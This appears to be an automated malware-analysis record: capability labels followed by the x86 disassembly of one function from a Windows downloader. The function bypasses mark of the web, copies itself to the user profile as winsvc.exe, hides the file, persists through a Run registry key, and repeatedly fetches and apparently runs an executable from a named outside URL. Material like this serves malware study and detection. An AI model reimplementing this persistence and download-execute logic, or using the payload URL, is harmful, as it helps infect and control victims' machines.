Function at 0x401530
Capabilities:
Bypass mark of the web
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Delete file
Persist via run registry key
Query environment variable
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8bc
mov eax, dword [0x404020]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401480
movzx eax, al
test eax, eax
je 0x401561
call fcn.00401000
mov ecx, dword [str.PreLoad]
mov dword [ebp - 0x448], ecx
mov edx, dword [0x403488]
mov dword [ebp - 0x444], edx
mov eax, dword [str.winsvc.exe]
mov dword [ebp - 0x674], eax
mov ecx, dword [0x403490]
mov dword [ebp - 0x670], ecx
mov edx, dword [0x403494]
mov dword [ebp - 0x66c], edx
mov eax, dword [0x403498]
mov dword [ebp - 0x668], eax
mov ecx, dword [0x40349c]
mov dword [ebp - 0x664], ecx
mov dx, word [0x4034a0]
mov word [ebp - 0x660], dx
mov ecx, 8
mov esi, str.Windows_Service
lea edi, [ebp - 0x440]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0xe
mov esi, str.http:__twizt.net_lbslut.exe
lea edi, [ebp - 0x6ac]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x448]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x8bc], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401611
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x65c], 0
push 0x104
lea ecx, [ebp - 0x420]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [ebp - 0x420]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0x214], eax
lea eax, [ebp - 0x420]
push eax
push str._s:Zone.Identifier
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x674]
push eax
mov ecx, dword [ebp - 0x214]
push ecx
call sub.MSVCR90.dll_wcscmp
add esp, 8
test eax, eax
je 0x401770
push 0x104
lea edx, [ebp - 0x8b8]
push edx
push str._userprofile_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x674]
push eax
lea ecx, [ebp - 0x8b8]
push ecx
push str._s_s
lea edx, [ebp - 0x658]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea eax, [ebp - 0x658]
push eax
lea ecx, [ebp - 0x420]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x401770
push 3
lea edx, [ebp - 0x658]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x65c]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401752
lea ecx, [ebp - 0x658]
push ecx
call sub.MSVCR90.dll_wcslen
add esp, 4
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x658]
push eax
push 1
push 0
lea ecx, [ebp - 0x440]
push ecx
mov edx, dword [ebp - 0x65c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x65c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x658]
push ecx
call fcn.00401070
add esp, 4
movzx edx, al
test edx, edx
je 0x401770
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x44c], 0
mov eax, 1
test eax, eax
je 0x4017bd
lea ecx, [ebp - 0x44c]
push ecx
lea edx, [ebp - 0x6ac]
push edx
call fcn.00401120
add esp, 8
movzx eax, al
cmp eax, 1
jne 0x4017b0
lea ecx, [ebp - 0x6ac]
push ecx
call fcn.004011c0
add esp, 4
push 0xdbba0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40177a
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004017e4
mov esp, ebp
pop ebp
ret 0x10